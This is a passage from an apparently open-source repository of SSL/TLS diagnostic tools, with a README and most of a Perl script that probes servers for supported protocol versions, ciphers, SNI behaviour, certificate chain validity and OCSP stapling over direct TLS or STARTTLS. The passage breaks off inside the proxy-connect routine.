[
  {
    "path": "README.md",
    "content": "# Collection of SSL Tools\n\nThis repository contains various tools, which are intended to debug or analyze\nproblems related to SSL/TLS.\n\n## Analyzing state of TLS\n\n- analyze-ssl.pl\n  - check support for various SSL/TLS version\n  - check which ciphers are support\n  - verfiy certificate\n  - check OCSP state\n  - check if SNI is supported and/or required\n  - display chain certificates and also local root if certification succeeded\n  - support direct connection and various form of STARTTLS\n  - ...\n\n## SMTP TLS support (STARTTLS)\n\n- mx_starttls_bulk.pl\n  - bulk checking of domains for SMTP TLS support\n  - fast parallel checking with non-blocking I/O: 40..60 domains/s which\n    includes MX lookups and several TLS connections\n  - checks for common problems with TLS support in MTA\n  - does not try to verify certificates, because STARTTLS itself is open to MITM\n    attacks by stripping STARTTLS support\n- mx_starttls_bulk_summarize.pl\n  - summarize data created by mx_starttls_bulk\n\n## HTTPS: Certificate Verification, OCSP ...\n\n- https_ocsp_bulk.pl \n  - check lots of sites for certificate verification, ciphers and OCSP revocation problems\n  - synchronous, i.e one site gets checked after the other\n\n## Heartbleed\n\n- check-ssl-heartbeat.pl \n  - check for heartbleed OpenSSL vulnerability\n  - supports various protocols requiring STARTTLS or similar\n\n"
  },
  {
    "path": "analyze-ssl.pl",
    "content": "#!/usr/bin/perl\n#\n# Copyright 2013..2015 Steffen Ullrich <sullr@cpan.org>\n#   This program is free software; you can redistribute it and/or\n#   modify it under the same terms as Perl itself.\n\nuse strict;\nuse warnings;\nuse Socket;\nuse IO::Socket::SSL 1.984;\nuse IO::Socket::SSL::Utils;\nuse Getopt::Long qw(:config posix_default bundling);\nuse Socket qw(AF_INET unpack_sockaddr_in inet_ntoa);\nuse Data::Dumper;\n\nmy ($can_ipv6,$ioclass);\nBEGIN {\n    $can_ipv6 = IO::Socket::SSL->can_ipv6;\n    if ($can_ipv6) {\n\tif (defined(&Socket::getaddrinfo)\n\t    && defined(&Socket::inet_ntop)\n\t    && defined(&Socket::unpack_sockaddr_in6)\n\t    && defined(&Socket::AF_INET6)) {\n\t    Socket->import(qw(AF_INET6 inet_ntop unpack_sockaddr_in6));\n\t} elsif ( eval { require Socket6 }) {\n\t    Socket6->import(qw(AF_INET6 inet_ntop unpack_sockaddr_in6));\n\t} else {\n\t    $can_ipv6 = undef;\n\t}\n    }\n    $ioclass = $can_ipv6 || 'IO::Socket::INET';\n}\n\nmy $can_ocsp = IO::Socket::SSL->can_ocsp;\nmy $ocsp_cache = $can_ocsp && IO::Socket::SSL::OCSP_Cache->new;\n\nmy %starttls = (\n    ''             => [ 443,undef, 'http' ],\n    'smtp'         => [ 25, \\&smtp_starttls, 'smtp' ],\n    'http_proxy'   => [ 443, \\&http_connect,'http' ],\n    'http_upgrade' => [ 80, \\&http_upgrade,'http' ],\n    'imap'         => [ 143, \\&imap_starttls,'imap' ],\n    'pop'          => [ 110, \\&pop_stls,'pop3' ],\n    'ftp'          => [ 21, \\&ftp_auth,'ftp' ],\n    'postgresql'   => [ 5432, \\&postgresql_init,'default' ],\n);\n\nmy $verbose = 0;\nmy $timeout = 10;\nmy ($stls,$stls_arg);\nmy $capath;\nmy $all_ciphers;\nmy $all_ip = 1;\nmy $show_chain = 1;\nmy $dump_chain;\nmy %conf;\nmy $max_cipher = 'HIGH:ALL';\nmy $default_cipher = '';\nmy $sleep = 0;\nGetOptions(\n    'h|help' => sub { usage() },\n    'v|verbose:1' => \\$verbose,\n    'd|debug:1' => \\$IO::Socket::SSL::DEBUG,\n    'T|timeout=i' => \\$timeout,\n    'CApath=s' => \\$capath,\n    'show-chain!' => \\$show_chain,\n    'dump-chain' => \\$dump_chain,\n    'all-ciphers' => \\$all_ciphers,\n    'all-ip!' => \\$all_ip,\n    'starttls=s' => sub {\n\t($stls,$stls_arg) = $_[1] =~m{^(\\w+)(?::(.*))?$};\n\tusage(\"invalid starttls $stls\") if ! $starttls{$stls||'whatever'};\n    },\n    'cert=s' => \\$conf{SSL_cert_file},\n    'key=s'  => \\$conf{SSL_key_file},\n    'name=s' => \\$conf{SSL_hostname},\n    'cipher=s' => \\$default_cipher,\n    'max-cipher=s' => \\$max_cipher,\n    'sleep=s' => \\$sleep,\n) or usage(\"bad usage\");\n@ARGV or usage(\"no hosts given\");\nmy %default_ca =\n    ! $capath ? () :\n    -d $capath ? ( SSL_ca_path => $capath, SSL_ca_file => '' ) :\n    -f $capath ? ( SSL_ca_file => $capath, SSL_ca_path => '' ) :\n    die \"no such file or dir: $capath\";\nmy $peer_certificates = IO::Socket::SSL->can('peer_certificates')\n    || sub {};\n\n$conf{SSL_verifycn_name} ||= $conf{SSL_hostname} if $conf{SSL_hostname};\nif ($conf{SSL_cert_file}) {\n    $conf{SSL_key_file} ||= $conf{SSL_cert_file};\n    $conf{SSL_use_cert} = 1;\n}\n\n\nsub usage {\n    print STDERR \"ERROR: @_\\n\" if @_;\n    print STDERR <<USAGE;\n\nAnalyze SSL connectivity for problems.\nUsage: $0 [options] (host|host:port)+\nOptions:\n  -h|--help              - this screen\n  -d|--debug level       - IO::Socket::SSL/Net::SSLeay debugging\n\n  # how to connect\n  --starttls proto[:arg] - start plain and upgrade to SSL with starttls protocol\n\t\t\t   (imap,smtp,http_upgrade,http_proxy,pop,ftp,postgresql)\n  -T|--timeout T         - use timeout (default 10)\n  --sleep X              - sleep X seconds between requests to reduce load on server\n                           can also be float like 0.1\n\n  # SSL specific settings\n  --CApath file|dir      - use given dir|file instead of system default CA store\n  --cert cert            - use given certificate for client authentication\n  --key  key             - use given key for client authentication (default: cert)\n  --name name            - use given name as server name in verification and SNI\n\t\t\t   instead of host (useful if target is given as IP)\n  --cipher set           - default cipher set to try, default OpenSSL default\n  --max-cipher set       - maximum cipher set to try, default HIGH:ALL.\n\t\t\t   Some servers or middleboxes have problems with this set\n\t\t\t   so it can be reduced.\n\n  # what to test and show\n  -v|--verbose level     - verbose output\n  --all-ciphers          - find out all supported ciphers\n  --all-ip               - check if all IP for host get same certificates, cipher...\n                           This is the default. Use --no-all-ip to disable.\n  --show-chain           - show certificate chain. This is the default. To disable\n                           use --no-show-chain.\n  --dump-chain           - dump certificate chain, e.g. all certificates as PEM\n\nExamples:\n\n  $0 --show-chain --all-ciphers -v3 www.live.com:443\n  $0 --starttls http_proxy:proxy_host:proxy_port www.live.com:443\n  $0 --starttls imap mail.gmx.de\n\nUSAGE\n    exit(2);\n}\n\n\n\nmy @tests;\nfor my $host (@ARGV) {\n    my ($ip,$port);\n    $host =~m{^(?:\\[(\\w\\.\\-\\:+)\\]|([\\w\\.\\-]+)):(\\w+)$|^([\\w\\.\\-:]+)$}\n\tor die \"invalid dst: $host\";\n    $host = $1||$2||$4;\n    my $st = $starttls{$stls ||''};\n    $port = $3 || $st->[0] || 443;\n    if ( $host =~m{:|^[\\d\\.]+$} ) {\n\t$ip = $host;\n\t$host = undef;\n    }\n    push @tests, [ $host||$ip,$port,$conf{SSL_hostname}||$host,$st->[1],$st->[2] || 'default' ];\n}\n\n\nfor my $test (@tests) {\n    my ($host,$port,$name,$stls_sub,$scheme) = @$test;\n\n    my @ip;\n    if (defined &Socket::getaddrinfo) {\n\tmy ($err,@res) = Socket::getaddrinfo($host,$port);\n\tfor(@res) {\n\t    push @ip,_addr2ip($_->{addr},$_->{family});\n\t}\n    } elsif (defined &Socket6::getaddrinfo) {\n\tmy @res = Socket6::getaddrinfo($host,$port);\n\twhile (@res>=5) {\n\t    my ($family,$addr) = (splice(@res,0,5))[0,3];\n\t    push @ip,_addr2ip($addr,$family);\n\t}\n    } else {\n\tmy $ip = Socket::inet_aton($host);\n\tpush @ip, $ip if $ip;\n    }\n    if (!@ip) {\n\twarn \"Found no IP address for $host\\n\";\n\tnext;\n    }\n\n    if (@ip>1) {\n\tmy (%have,@ip4,@ip6);\n\tfor(@ip) {\n\t    if ($have{$_}++) {\n\t\tnext;\n\t    } elsif (m{:}) {\n\t\tpush @ip6,$_\n\t    } else {\n\t\tpush @ip4,$_\n\t    }\n\t}\n\t# Prefer IPv4 even if host preference is different\n\t@ip = (@ip4,@ip6);\n    }\n    VERBOSE(1,\"checking host=$host(@ip) port=$port\".\n\t($stls ? \" starttls=$stls\":\"\"));\n\n    my @problems;\n\n    my $tcp_connect = sub {\n\tmy $use_ip = shift;\n\tmy $tries = 1;\n\n\tTRY_IP:\n\tmy ($cl,$error);\n\tmy %ioargs = (\n\t    PeerAddr => $use_ip || $ip[0],\n\t    PeerPort => $port,\n\t    Timeout => $timeout,\n\t);\n\tfor(1..$tries) {\n\t    if ($stls_sub) {\n\t\tlast if $cl = eval { $stls_sub->(\\%ioargs,$stls_arg) };\n\t\t$error = $@ || 'starttls error';\n\t\t$cl = undef;\n\t    } elsif ( $cl = $ioclass->new(%ioargs)) {\n\t\tlast;\n\t    } else {\n\t\t$error = \"tcp connect: $!\";\n\t    }\n\t}\n\treturn $cl if $cl;\n\t$error ||= \"unknown error\";\n\tdie $error if $use_ip; # no retry\n\n\t# retry with next IP\n\tmy $failed = shift(@ip);\n\tchomp($error);\n\tpush @problems, \"failed tcp connect to $failed: $error\";\n\tif (@ip) {\n\t    VERBOSE(1,\"$failed failed permanently '$error', trying next\");\n\t    goto TRY_IP;\n\t}\n\tVERBOSE(1,\"$failed failed permanently '$error', no more IP to try\");\n\tdie $error.\"\\n\";\n    };\n\n    my @handshakes;\n\n    # basic connects without verification or any TLS extensions (OCSP)\n    # find out usable version and ciphers. Because some hosts (like cloudflare)\n    # behave differently if SNI is used we try to use it and only fall back if\n    # it fails.\n    my ($version,$cipher,$good_conf);\n    my $sni = $name;\n    my $try_sslversion = sub {\n\tmy $v = shift;\n\tmy (@protocols,@err);\n\tfor my $ciphers ( $default_cipher,$max_cipher ) {\n\t    my $cl = &$tcp_connect;\n\t    if ( _startssl($cl,\n\t\t%conf,\n\t\tSSL_version => $v,\n\t\tSSL_verify_mode => 0,\n\t\tSSL_hostname => $sni,\n\t\tSSL_cipher_list => $ciphers,\n\t    )) {\n\t\t$version = $cl->get_sslversion();\n\t\t$cipher = $cl->get_cipher();\n\t\tif (!@protocols) {\n\t\t    push @protocols, ($version, $cipher);\n\t\t} elsif ($protocols[-1] ne $cipher) {\n\t\t    push @protocols, $cipher;\n\t\t}\n\t\t$good_conf ||= { \n\t\t    %conf, \n\t\t    SSL_version => $v, \n\t\t    SSL_hostname => $sni, \n\t\t    SSL_cipher_list => $ciphers \n\t\t};\n\t\tVERBOSE(2,\"version $v no verification, ciphers=$ciphers -> $version,$cipher\");\n\t    } else {\n\t\tVERBOSE(2,\"version $v, no verification, ciphers=$ciphers -> FAIL! $SSL_ERROR\");\n\t\tpush @err, $SSL_ERROR if ! @err || $err[-1] ne $SSL_ERROR;\n\t    }\n\t}\n\treturn (\\@protocols,\\@err);\n    };\n\n    my $use_version;\n    my $best_version;\n    TRY_PROTOCOLS:\n    for(\n\t# most compatible handshake - should better be supported by all\n\t'SSLv23',\n\t# version specific handshakes - some hosts fail instead of downgrading\n\tdefined &Net::SSLeay::CTX_tlsv1_2_new ? ('TLSv1_2'):(),\n\tdefined &Net::SSLeay::CTX_tlsv1_1_new ? ('TLSv1_1'):(),\n\tdefined &Net::SSLeay::CTX_tlsv1_new   ? ('TLSv1')  :(),\n\tdefined &Net::SSLeay::CTX_v3_new      ? ('SSLv3')  :(),\n    ) {\n\tmy ($protocols,$err) = $try_sslversion->($_);\n\tif (@$protocols) {\n\t    $use_version ||= $_;\n\t    $best_version ||= $protocols->[0];\n\t    push @handshakes, [ $_, @$protocols ];\n\t} else {\n\t    push @handshakes, [ $_,\\\"@$err\" ];\n\t}\n    }\n\n    if ($best_version) {\n\tVERBOSE(1,\"successful connect with $best_version, cipher=$cipher, sni=\"\n\t    . ($sni||'<undef>').\" and no other TLS extensions\");\n    } elsif ($sni) {\n\t$sni = '';\n\t# retry without SNI\n\tgoto TRY_PROTOCOLS;\n    } else {\n\tdie \"$host failed basic SSL connect: $SSL_ERROR\\n\";\n    }\n\n    my $sni_status;\n    my $need_sni;\n    if (!$sni) {\n\tif ($version =~m{^TLS}) {\n\t    VERBOSE(1,\"SNI FAIL!\");\n\t    push @problems, \"using SNI (default)\";\n\t    $sni_status = 'FAIL';\n\t}\n    } else {\n\tVERBOSE(1,\"SNI success\");\n\t$sni_status = 'ok';\n\n\t# check if it works without SNI\n\tmy $cl = &$tcp_connect;\n\tmy $fail;\n\tif (!_startssl($cl,\n\t    %$good_conf, \n\t    SSL_hostname => '', \n\t    SSL_verifycn_name => $conf{SSL_hostname}||$host, \n\t    SSL_verify_callback => sub {\n\t\tmy ($ok) = @_;\n\t\t$fail++ if ! $ok;\n\t\treturn 1;\n\t    }\n\t)) {\n\t    VERBOSE(1,\"failed without SNI: $SSL_ERROR\");\n\t    $sni_status = \"SSL upgrade fails without SNI\";\n\t    $need_sni = 1;\n\t}\n\tif ($fail) {\n\t    VERBOSE(1,\"certificate verify failed without SNI\");\n\t    $sni_status = \"certificate verify fails without SNI\";\n\t}\n    }\n\n\n    my $ssl_upgrade_get_chain = sub {\n\tmy ($cl,%conf) = @_;\n\tmy (%verify_chain,@chain,@problems,$fail);\n\tmy $chain_failed;\n\tif ( _startssl($cl, %conf,\n\t    SSL_verifycn_scheme => 'none',\n\t    SSL_verify_callback => sub {\n\t\tmy ($valid,$store,$str,$err,$cert,$depth) = @_;\n\t\t$chain_failed = 1 if ! $valid;\n\n\t\t# Since this only a temporary reference we should convert it\n\t\t# directly to PEM.\n\n\t\tmy ($subject,$bits);\n\t\t$subject = Net::SSLeay::X509_NAME_oneline(\n\t\t    Net::SSLeay::X509_get_subject_name($cert));\n\t\tif (!$depth) {\n\t\t    my @san = $cl->peer_certificate('subjectAltNames');\n\t\t    for( my $i=0;$i<@san;$i++) {\n\t\t\t$san[$i] = 'DNS' if $san[$i] == 2;\n\t\t\t$san[$i] .= \":\".splice(@san,$i+1,1);\n\t\t    }\n\t\t    $subject .= \" SAN=\".join(\",\",@san) if @san;\n\t\t}\n\t\tif (my $pkey = Net::SSLeay::X509_get_pubkey($cert)) {\n\t\t    $bits = eval { Net::SSLeay::EVP_PKEY_bits($pkey) };\n\t\t    Net::SSLeay::EVP_PKEY_free($pkey);\n\t\t}\n\t\tmy $pem = PEM_cert2string($cert);\n\t\t$verify_chain{$pem} = [\n\t\t    $bits||'???',\n\t\t    $subject,\n\t\t    join('|', grep { $_ } @{ CERT_asHash($cert)->{ocsp_uri} || []}),\n\t\t    $pem,\n\t\t    $depth,\n\t\t    '-'\n\t\t];\n\t\treturn 1;\n\t    },\n\t)) {\n\t    for my $cert ( $peer_certificates->($cl) ) {\n\t\tmy ($subject,$bits);\n\t\t$subject = Net::SSLeay::X509_NAME_oneline(\n\t\t    Net::SSLeay::X509_get_subject_name($cert));\n\t\tif ( !@chain) {\n\t\t    my @san = $cl->peer_certificate('subjectAltNames');\n\t\t    for( my $i=0;$i<@san;$i++) {\n\t\t\t$san[$i] = 'DNS' if $san[$i] == 2;\n\t\t\t$san[$i] .= \":\".splice(@san,$i+1,1);\n\t\t    }\n\t\t    $subject .= \" SAN=\".join(\",\",@san) if @san;\n\t\t}\n\t\tif (my $pkey = Net::SSLeay::X509_get_pubkey($cert)) {\n\t\t    $bits = eval { Net::SSLeay::EVP_PKEY_bits($pkey) };\n\t\t    Net::SSLeay::EVP_PKEY_free($pkey);\n\t\t}\n\t\tmy $pem = PEM_cert2string($cert);\n\t\tmy $vc = delete $verify_chain{$pem};\n\t\tif (!$vc) {\n\t\t    push @problems, \"server sent unused chain certificate \".\n\t\t\t\"'$subject'\";\n\t\t}\n\t\tpush @chain,[\n\t\t    $bits||'???',\n\t\t    $subject,\n\t\t    join('|', grep { $_ } @{ CERT_asHash($cert)->{ocsp_uri} || []}),\n\t\t    $pem,\n\t\t    $vc ? $vc->[4] : '-', # depth\n\t\t    $#chain+1,\n\t\t],\n\t    }\n\t    for (sort { $a->[4] <=> $b->[4] } values %verify_chain) {\n\t\tpush @chain,$_;\n\t    }\n\t    if ($chain_failed) {\n\t\t$fail = \"validation of certificate chain failed\";\n\t    } elsif (!$cl->verify_hostname($name,$scheme)) {\n\t\t$fail = \"validation of hostname failed\";\n\t    }\n\t} else {\n\t    $fail = $SSL_ERROR || 'unknown handshake error';\n\t}\n\treturn (@chain ? \\@chain : undef,\\@problems,$fail);\n    };\n\n\n    # get chain info\n    my (@cert_chain,@cert_chain_nosni);\n    if ($show_chain || $dump_chain) {\n\tfor(\n\t    [ $good_conf, \\@cert_chain ],\n\t    ( $need_sni || ! $good_conf->{SSL_hostname}) ? ()\n\t\t# cloudflare has different cipher list without SNI, so don't\n\t\t# enforce the existing one\n\t\t: ([ { %$good_conf, SSL_cipher_list => $default_cipher || undef, SSL_hostname => '' }, \\@cert_chain_nosni ])\n\t) {\n\t    my ($conf,$chain) = @$_;\n\t    my $cl = &$tcp_connect;\n\t    my ($ch,$p) = $cl ? $ssl_upgrade_get_chain->($cl,%$conf) : ();\n\t    push @problems,@$p;\n\t    if ($ch) {\n\t\t@$chain = @$ch;\n\t    } else {\n\t\tdie \"failed to connect with previously successful config: $SSL_ERROR\";\n\t    }\n\t}\n\t# if same chain ignore nosni\n\tif (@cert_chain_nosni and \n\t    @cert_chain_nosni == @cert_chain and\n\t    ! grep { $cert_chain_nosni[$_][3] ne $cert_chain[$_][3] } (0..$#cert_chain_nosni)) {\n\t    VERBOSE(2,\"same certificate chain in without SNI\");\n\t    @cert_chain_nosni = ();\n\t}\n    }\n\n    # check verification against given/builtin CA w/o OCSP\n    my $verify_status;\n    my $cl = &$tcp_connect;\n    if ( _startssl($cl, %$good_conf,\n\tSSL_verify_mode => SSL_VERIFY_PEER,\n\tSSL_ocsp_mode => SSL_OCSP_NO_STAPLE,\n\tSSL_verifycn_scheme => 'none',\n\t%default_ca\n    )) {\n\t%conf = ( %$good_conf, SSL_verify_mode => SSL_VERIFY_PEER, %default_ca );\n\tif (!$cl->peer_certificate) {\n\t    VERBOSE(1,\"no peer certificate (anonymous authentication)\");\n\t    %conf = %$good_conf;\n\t    $verify_status = 'anon';\n\t} elsif ( $cl->verify_hostname( $name,$scheme )) {\n\t    VERBOSE(1,\"certificate verify success\");\n\t    $verify_status = 'ok';\n\t    $verify_status .= \" (needs SNI)\" if $sni_status =~ /fails without/;\n\t    %conf = %$good_conf = ( %conf,\n\t\tSSL_verifycn_scheme => $scheme,\n\t\tSSL_verifycn_name => $name,\n\t    );\n\t} else {\n\t    my @san = $cl->peer_certificate('subjectAltNames');\n\t    for( my $i=0;$i<@san;$i++) {\n\t\t$san[$i] = 'DNS' if $san[$i] == 2;\n\t\t$san[$i] .= \":\".splice(@san,$i+1,1);\n\t    }\n\t    VERBOSE(1,\"certificate verify - name does not match:\".\n\t\t\" subject=\".$cl->peer_certificate('subject').\n\t\t\" SAN=\".join(\",\",@san)\n\t    );\n\t    $verify_status = 'name-mismatch';\n\t    %conf = %$good_conf = ( %conf, SSL_verifycn_scheme => 'none');\n\t}\n\n    } else {\n\tVERBOSE(1,\"certificate verify FAIL!\");\n\t$verify_status = \"FAIL: $SSL_ERROR\";\n\tpush @problems, \"using certificate verification (default) -> $SSL_ERROR\";\n    }\n\n    # check with OCSP stapling\n    my $ocsp_staple;\n    if ( $can_ocsp && $verify_status eq 'ok' ) {\n\tmy $cl = &$tcp_connect;\n\t$conf{SSL_ocsp_cache} = $ocsp_cache;\n\tif ( _startssl($cl, %conf)) {\n\t    if ( ${*$cl}{_SSL_ocsp_verify} ) {\n\t\t$ocsp_staple = 'got stapled response',\n\t    } else {\n\t\t$ocsp_staple = 'no stapled response',\n\t    }\n\t    VERBOSE(1,\"OCSP stapling: $ocsp_staple\");\n\t} else {\n\t    $ocsp_staple = \"FAIL: $SSL_ERROR\";\n\t    $conf{SSL_ocsp_mode} = SSL_OCSP_NO_STAPLE;\n\t    VERBOSE(1,\"access with OCSP stapling FAIL!\");\n\t    push @problems, \"using OCSP stapling (default) -> $SSL_ERROR\";\n\t}\n    }\n\n    my $ocsp_status;\n    if ( $can_ocsp && $verify_status eq 'ok' ) {\n\tmy $cl = &$tcp_connect;\n\t$conf{SSL_ocsp_mode} |= SSL_OCSP_FULL_CHAIN;\n\tif ( ! _startssl($cl, %conf)) {\n\t    die sprintf(\"failed with SSL_ocsp_mode=%b, even though it succeeded with default mode\",\n\t\t$conf{SSL_ocsp_mode});\n\t}\n\tmy $ocsp_resolver = $cl->ocsp_resolver;\n\tmy %todo = $ocsp_resolver->requests;\n\twhile (my ($uri,$req) = each %todo) {\n\t    VERBOSE(3,\"need to send %d bytes OCSP request to %s\",length($req),$uri);\n\t}\n\tmy $errors = $ocsp_resolver->resolve_blocking();\n\tdie \"resolver not finished \" if ! defined $errors;\n\tif ( ! $errors ) {\n\t    VERBOSE(1,\"all certificates verified\");\n\t    $ocsp_status = \"good\";\n\t} else {\n\t    VERBOSE(1,\"failed to verify certicates: $errors\");\n\t    $ocsp_status = \"FAIL: $errors\";\n\t}\n\tif (my $soft_error = $ocsp_resolver->soft_error) {\n\t    $ocsp_status .= \" (soft error: $soft_error)\"\n\t}\n    }\n\n    # Check if all IP return the same cipher, version and certificates\n    my %all_ip_diff;\n    my %cert_chain_alternatives;\n    if ($all_ip and @ip>1) {\n\tmy ($cipher,$protocol,@chain,$result);\n\tfor my $ip (@ip) {\n\t    my $cl = eval { $tcp_connect->($ip) };\n\t    if (!$cl) {\n\t\tVERBOSE(1,\"failed tcp connect to IP $ip: $@\");\n\t\tpush @problems, \"failed tcp connect to IP $ip: $@\";\n\t\tnext;\n\t    }\n\t    my ($ch,$p,$res) = $ssl_upgrade_get_chain->($cl,%conf);\n\t    $res ||= 'success';\n\t    if (!$ch) {\n\t\tVERBOSE(1,\"failed SSL upgrade on IP $ip\");\n\t\tpush @problems, \"failed SSL upgrade on IP $ip\";\n\t\tnext;\n\t    }\n\t    if (!@chain) {\n\t\t# baseline\n\t\t$result = $res;\n\t\t@chain = @$ch;\n\t\t$cipher = $cl->get_cipher;\n\t\t$protocol = $cl->get_sslversion;\n\t\tnext;\n\t    }\n\t    my @diff;\n\t    push @diff, \"result: $res vs. $result\" if $res ne $result;\n\t    push @diff, \"cipher:   \".($cl->get_cipher).\" vs. $cipher\"\n\t\tif $cipher ne $cl->get_cipher;\n\t    push @diff, \"protocol: \".($cl->get_sslversion).\" vs. $protocol\"\n\t\tif $protocol ne $cl->get_sslversion;\n\t    if (Dumper(\\@chain) ne Dumper($ch)) {\n\t\tmy $alt = $cert_chain_alternatives{ Dumper($ch) } ||= [ $ch ];\n\t\tpush @$alt,$ip;\n\t\tmy @ch0 = @chain;\n\t\tmy @ch1 = @$ch;\n\t\tfor(my $i=0;1;$i++) {\n\t\t    my $ch0 = shift(@ch0);\n\t\t    my $ch1 = shift(@ch1);\n\t\t    last if ! $ch0 && !$ch1;\n\t\t    if (!$ch0) {\n\t\t\tpush @diff, \"certificate #$i is additional - $ch1->[1]\";\n\t\t    } elsif (!$ch1) {\n\t\t\tpush @diff, \"certificate #$i is missing - $ch0->[1]\";\n\t\t    } elsif ($ch0->[3] ne $ch1->[3]) {\n\t\t\tpush @diff, \"certificate #$i differs\";\n\t\t    }\n\t\t}\n\t    }\n\t    if (@diff) {\n\t\tVERBOSE(1,\"different results for SSL upgrade on $ip than on $ip[0]\");\n\t\tmy $alt = $all_ip_diff{ Dumper(\\@diff) } ||= [ \\@diff ];\n\t\tpush @$alt,$ip;\n\t    } else {\n\t\tVERBOSE(1,\"same results for SSL upgrade on $ip compared to $ip[0]\");\n\t    }\n\t}\n    }\n\n    # check out all supported ciphers\n    my @ciphers;\n    {\n\tmy $c = \"$max_cipher:eNULL\";\n\twhile ($all_ciphers || @ciphers<2 ) {\n\t    my $cl = &$tcp_connect;\n\t    if ( _startssl($cl,\n\t\t%conf,\n\t\tSSL_verify_mode => 0,\n\t\tSSL_version => $conf{SSL_version},\n\t\tSSL_cipher_list => $c,\n\t    )) {\n\t\tpush @ciphers, [ $cl->get_sslversion, $cl->get_cipher ];\n\t\t$c .= \":!\".$ciphers[-1][1];\n\t\tVERBOSE(2,\"connect with version %s cipher %s\",\n\t\t    @{$ciphers[-1]});\n\t    } else {\n\t\tVERBOSE(3,\"handshake failed with $c: $SSL_ERROR\");\n\t\tlast;\n\t    }\n\t}\n    }\n\n    # try to detect if the server accepts our cipher order by trying two\n    # ciphers in different order\n    my $server_cipher_order;\n    if (@ciphers>=2) {\n\tmy %used_cipher;\n\tfor( \"$ciphers[0][1]:$ciphers[1][1]:$max_cipher\",\"$ciphers[1][1]:$ciphers[0][1]:$max_cipher\" ) {\n\t    my $cl = &$tcp_connect;\n\t    if ( _startssl($cl,\n\t\t%conf,\n\t\tSSL_version => $use_version,\n\t\tSSL_verify_mode => 0,\n\t\tSSL_cipher_list => $_,\n\t    )) {\n\t\tVERBOSE(3,\"tried with cipher list '$_' -> \".$cl->get_cipher);\n\t\t$used_cipher{$cl->get_cipher}++;\n\t    } else {\n\t\twarn \"failed to SSL handshake with SSL_cipher_list=$_: $SSL_ERROR\";\n\t    }\n\t}\n\tif (keys(%used_cipher) == 2) {\n\t    VERBOSE(2,\"client decides cipher order\");\n\t    $server_cipher_order = 0;\n\t} elsif ( (values(%used_cipher))[0] == 2 ) {\n\t    VERBOSE(2,\"server decides cipher order\");\n\t    $server_cipher_order = 1;\n\t}\n    }\n\n\n    # summary\n    print \"-- $host port $port\".($stls? \" starttls $stls\":\"\").\"\\n\";\n    print \" ! $_\\n\" for(@problems);\n    print \" * maximum SSL version  : $best_version ($use_version)\\n\";\n    print \" * supported SSL versions with handshake used and preferred cipher(s):\\n\";\n    printf \"   * %-9s %-9s %s\\n\",qw(handshake protocols ciphers);\n    for(@handshakes) {\n\tprintf(\"   * %-9s %-9s %s\\n\",\n\t    $_->[0],\n\t    ref($_->[1])\n\t\t? (\"FAILED: ${$_->[1]}\",\"\")\n\t\t: ($_->[1], join(\" \",@{$_}[2..$#$_]))\n\t);\n    }\n    print \" * cipher order by      : \".(\n\t! defined $server_cipher_order ? \"unknown\\n\" :\n\t$server_cipher_order ? \"server\\n\" : \"client\\n\"\n    );\n    print \" * SNI supported        : $sni_status\\n\" if $sni_status;\n    print \" * certificate verified : $verify_status\\n\";\n    for(sort values %all_ip_diff) {\n\tmy ($diff,@ip) = @$_;\n\tprint \" * different results on @ip\\n\";\n\tprint \"   * $_\\n\" for(@$diff);\n    }\n    if ($show_chain) {\n\tprint \" * chain on $ip[0]\\n\";\n\tfor(my $i=0;$i<@cert_chain;$i++) {\n\t    my $c = $cert_chain[$i];\n\t    print \"   * [$c->[5]/$c->[4]] bits=$c->[0], ocsp_uri=$c->[2], $c->[1]\\n\"\n\t}\n\tif (@cert_chain_nosni) {\n\t    print \" * chain on $ip[0] without SNI\\n\";\n\t    for(my $i=0;$i<@cert_chain_nosni;$i++) {\n\t\tmy $c = $cert_chain_nosni[$i];\n\t\tprint \"   * [$c->[5]/$c->[4]] bits=$c->[0], ocsp_uri=$c->[2], $c->[1]\\n\"\n\t    }\n\t}\n\tfor (sort values %cert_chain_alternatives) {\n\t    my ($chain,@ip) = @$_;\n\t    print \" * chain on @ip\\n\";\n\t    for(my $i=0;$i<@$chain;$i++) {\n\t\tmy $c = $chain->[$i];\n\t\tprint \"   * [$c->[5]/$c->[4]] bits=$c->[0], ocsp_uri=$c->[2], $c->[1]\\n\"\n\t    }\n\t}\n    }\n    print \" * OCSP stapling        : $ocsp_staple\\n\" if $ocsp_staple;\n    print \" * OCSP status          : $ocsp_status\\n\" if $ocsp_status;\n    if ($all_ciphers) {\n\tprint \" * supported ciphers with $use_version handshake\\n\";\n\tfor(@ciphers) {\n\t    printf \"   * %6s %s\\n\",@$_;\n\t}\n    }\n    if ($dump_chain) {\n\tprint \"---------------------------------------------------------------\\n\";\n\tfor(my $i=0;$i<@cert_chain;$i++) {\n\t    my $c = $cert_chain[$i];\n\t    print \"# $c->[1]\\n$c->[3]\\n\";\n\t}\n    }\n}\n\n\n\nsub smtp_starttls {\n    my $cl = $ioclass->new(%{shift()}) or die \"tcp connect: $!\";\n    my $last_status_line = qr/((\\d)\\d\\d(?:\\s.*)?)/;\n    my ($line,$code) = _readlines($cl,$last_status_line);\n    $code == 2 or die \"server denies access: $line\\n\";\n    print $cl \"EHLO example.com\\r\\n\";\n    ($line,$code) = _readlines($cl,$last_status_line);\n    $code == 2 or die \"server did not accept EHLO: $line\\n\";\n    print $cl \"STARTTLS\\r\\n\";\n    ($line,$code) = _readlines($cl,$last_status_line);\n    $code == 2 or die \"server did not accept STARTTLS: $line\\n\";\n    VERBOSE(3,\"...reply to starttls: $line\");\n    return $cl;\n}\n\nsub imap_starttls {\n    my $cl = $ioclass->new(%{shift()}) or die \"tcp connect: $!\";\n    <$cl>; # welcome\n    print $cl \"abc STARTTLS\\r\\n\";\n    while (<$cl>) {\n\tm{^abc (OK)?} or next;\n\t$1 or die \"STARTTLS failed: $_\";\n\ts{\\r?\\n$}{};\n\tVERBOSE(3,\"...starttls: $_\");\n\treturn $cl;\n    }\n    die \"starttls failed\";\n}\n\nsub pop_stls {\n    my $cl = $ioclass->new(%{shift()}) or die \"tcp connect: $!\";\n    <$cl>; # welcome\n    print $cl \"STLS\\r\\n\";\n    my $reply = <$cl>;\n    die \"STLS failed: $reply\" if $reply !~m{^\\+OK};\n    $reply =~s{\\r?\\n}{};\n    VERBOSE(3,\"...stls $reply\");\n    return $cl;\n}\n\nsub http_connect {\n    my ($ioargs,$proxy) = @_;\n    $proxy or die \"no proxy host:port given\";\n    $proxy =~m{^(?:\\[(.+)\\]|([^:]+)):(\\w+)$} or die \"invalid dst: $proxy\";\n    my $cl = $ioclass->new( %$ioargs,\n\tPeerAddr => $1||$2,\n\tPeerPort => $3,\n   